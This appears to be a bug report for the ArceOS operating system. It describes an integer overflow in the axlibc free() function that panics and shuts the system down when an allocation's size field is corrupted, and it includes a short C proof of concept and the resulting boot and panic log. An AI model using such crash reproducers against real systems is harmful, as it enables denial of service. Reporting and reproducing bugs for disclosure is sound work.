Describe the bug
The free() function in ulib/axlibc panics when attempting to release memory associated with a corrupted memory control block.
Specifically, the allocator stores metadata (including the allocation size) immediately preceding the memory pointer returned to the user. When free(ptr) is called, the implementation reads this size and calculates the total memory layout to deallocate.
If the size field in the control block is corrupted (e.g., via a buffer overflow or intentional manipulation) to a large value (near SIZE_MAX), the calculation of the total size (requested size + control block overhead) results in an integer overflow. This triggers a panic at ulib/axlibc/src/malloc.rs:53, causing the entire system to shut down.
|
let layout = Layout::from_size_align(size + CTRL_BLK_SIZE, 8).unwrap(); |
To Reproduce
- Compile the program and run.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
/*
* PoC for triggering panic in ArceOS free() function
*
* The crash occurs at malloc.rs:53:22 where Layout::from_size_align() is called with unwrap()
* This will panic if the size calculation overflows or is invalid
*
* The vulnerability is reachable from user space through the standard free() function
* We can trigger it by corrupting the memory control block stored before the allocated memory
*/
int main() {
// Allocate some memory - this will include a control block before the actual data
char *ptr = malloc(100);
if (!ptr) {
printf("malloc failed\n");
return 1;
}
printf("Allocated memory at: %p\n", ptr);
/*
* In ArceOS, the MemoryControlBlock is stored before the allocated memory
* We can corrupt it by writing before the allocated pointer
* The control block contains a 'size' field that we can manipulate
*
* By setting size to a value that causes overflow when adding CTRL_BLK_SIZE,
* we can trigger the unwrap() panic in Layout::from_size_align()
*/
// Write a large value to corrupt the size field in the control block
// This will cause size + CTRL_BLK_SIZE to overflow
// The exact offset depends on the MemoryControlBlock structure
// We'll try writing at various offsets before the allocated memory
// Try corrupting the size field (assuming it's at offset -8 from ptr)
// Set size to SIZE_MAX - CTRL_BLK_SIZE + 1 to cause overflow
uintptr_t *corrupt_ptr = (uintptr_t*)((char*)ptr - sizeof(uintptr_t));
*corrupt_ptr = SIZE_MAX - 7; // Assuming CTRL_BLK_SIZE is 8
printf("Corrupted control block size field\n");
// Now call free() - this should trigger the panic
// The Layout::from_size_align() will fail due to size overflow
printf("Calling free() - this should trigger the panic...\n");
free(ptr);
// This line should not be reached due to the panic
printf("This should not be printed\n");
return 0;
}
Environment
Logs
SeaBIOS (version 1.16.3-debian-1.16.3-2)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+06FCAA40+06F0AA40 CA00
Booting from ROM..TSC frequency: 4000 MHz
d8888 .d88888b. .d8888b.
d88888 d88P" "Y88b d88P Y88b
d88P888 888 888 Y88b.
d88P 888 888d888 .d8888b .d88b. 888 888 "Y888b.
d88P 888 888P" d88P" d8P Y8b 888 888 "Y88b.
d88P 888 888 888 88888888 888 888 "888
d8888888888 888 Y88b. Y8b. Y88b. .d88P Y88b d88P
d88P 888 888 "Y8888P "Y8888 "Y88888P" "Y8888P"
arch = x86_64
platform = x86-pc
target = x86_64-unknown-none
build_mode = debug
log_level = info
smp = 1
[ 0.002831 0 axruntime:136] Logging is enabled.
[ 0.003144 0 axruntime:137] Primary CPU 0 started, arg = 0x9500.
[ 0.003582 0 axruntime:140] Found physcial memory regions:
[ 0.003946 0 axruntime:142] [PA:0x0, PA:0x100000) reserved (READ | WRITE | RESERVED)
[ 0.004433 0 axruntime:142] [PA:0x100000, PA:0x200000) free memory (READ | WRITE | FREE)
[ 0.004934 0 axruntime:142] [PA:0x200000, PA:0x323000) .text (READ | EXECUTE | RESERVED)
[ 0.005443 0 axruntime:142] [PA:0x323000, PA:0x34b000) .rodata (READ | RESERVED)
[ 0.005916 0 axruntime:142] [PA:0x34b000, PA:0x36c000) .data .tdata .tbss .percpu (READ | WRITE | RESERVED)
[ 0.006516 0 axruntime:142] [PA:0x36c000, PA:0x3ac000) boot stack (READ | WRITE | RESERVED)
[ 0.007040 0 axruntime:142] [PA:0x3ac000, PA:0x3b5000) .bss (READ | WRITE | RESERVED)
[ 0.007536 0 axruntime:142] [PA:0x3b5000, PA:0x7fdc000) free memory (READ | WRITE | FREE)
[ 0.008054 0 axruntime:142] [PA:0xb0000000, PA:0xc0000000) mmio (READ | WRITE | DEVICE | RESERVED)
[ 0.008612 0 axruntime:142] [PA:0xfe000000, PA:0xfec00000) mmio (READ | WRITE | DEVICE | RESERVED)
[ 0.009163 0 axruntime:142] [PA:0xfec00000, PA:0xfec01000) mmio (READ | WRITE | DEVICE | RESERVED)
[ 0.009713 0 axruntime:142] [PA:0xfed00000, PA:0xfed01000) mmio (READ | WRITE | DEVICE | RESERVED)
[ 0.010267 0 axruntime:142] [PA:0xfee00000, PA:0xfee01000) mmio (READ | WRITE | DEVICE | RESERVED)
[ 0.010808 0 axruntime:217] Initialize global memory allocator...
[ 0.011181 0 axruntime:218] use TLSF allocator.
[ 0.011569 0 axmm:103] Initialize virtual memory management...
[ 0.050230 0 axruntime:157] Initialize platform devices...
[ 0.050573 0 axplat_x86_pc::apic:65] Initialize Local APIC...
[ 0.050932 0 axplat_x86_pc::apic:80] Using x2APIC.
[ 0.051268 0 axplat_x86_pc::apic:95] Initialize IO APIC...
[ 0.051628 0 axtask::api:73] Initialize scheduling...
[ 0.051991 0 axtask::api:79] use FIFO scheduler.
[ 0.052312 0 axdriver:152] Initialize device drivers...
[ 0.052651 0 axdriver:153] device model: static
[ 0.060454 0 virtio_drivers::device::blk:59] config: 0xffff8000fe002000
[ 0.060900 0 virtio_drivers::device::blk:64] found a block device of size 65536KB
[ 0.061444 0 axdriver::bus::pci:104] registered a new Block device at 00:02.0: "virtio-blk"
[ 0.066490 0 virtio_drivers::device::net::dev_raw:30] negotiated_features Features(MAC | STATUS | RING_INDIRECT_DESC | RING_EVENT_IDX)
[ 0.068420 0 axdriver::bus::pci:104] registered a new Net device at 00:03.0: "virtio-net"
[ 0.173742 0 axfs:41] Initialize filesystems...
[ 0.174040 0 axfs:44] use block device 0: "virtio-blk"
[ 0.179394 0 fatfs::dir:145] Is a directory
[ 0.184256 0 fatfs::dir:145] Is a directory
[ 0.191516 0 fatfs::dir:145] Is a directory
[ 0.201012 0 fatfs::dir:145] Is a directory
[ 0.205113 0 axnet:42] Initialize network subsystem...
[ 0.205465 0 axnet:45] use NIC 0: "virtio-net"
[ 0.207178 0 axnet::smoltcp_impl:333] created net interface "eth0":
[ 0.207579 0 axnet::smoltcp_impl:334] ether: 52-54-00-12-34-56
[ 0.207975 0 axnet::smoltcp_impl:335] ip: 10.0.2.15/24
[ 0.208345 0 axnet::smoltcp_impl:336] gateway: 10.0.2.2
[ 0.208703 0 axruntime:183] Initialize interrupt handlers...
[ 0.209059 0 axcpu::x86_64::trap:46] No registered handler for trap IRQ
[ 0.209588 0 axruntime:195] Primary CPU 0 init OK.
Allocated memory at: 0xffff8000003bc378
Corrupted control block size field
Calling free() - this should trigger the panic...
[ 0.210515 0:2 axruntime::lang_items:5] panicked at ulib/axlibc/src/malloc.rs:53:46:
attempt to add with overflow
[ 0.211128 0:2 axplat_x86_pc::power:25] Shutting down...
Describe the bug
The free() function in ulib/axlibc panics when attempting to release memory associated with a corrupted memory control block.
Specifically, the allocator stores metadata (including the allocation size) immediately preceding the memory pointer returned to the user. When free(ptr) is called, the implementation reads this size and calculates the total memory layout to deallocate.
If the size field in the control block is corrupted (e.g., via a buffer overflow or intentional manipulation) to a large value (near SIZE_MAX), the calculation of the total size (requested size + control block overhead) results in an integer overflow. This triggers a panic at ulib/axlibc/src/malloc.rs:53, causing the entire system to shut down.
arceos/ulib/axlibc/src/malloc.rs
Line 53 in bcc354a
To Reproduce
Environment
Logs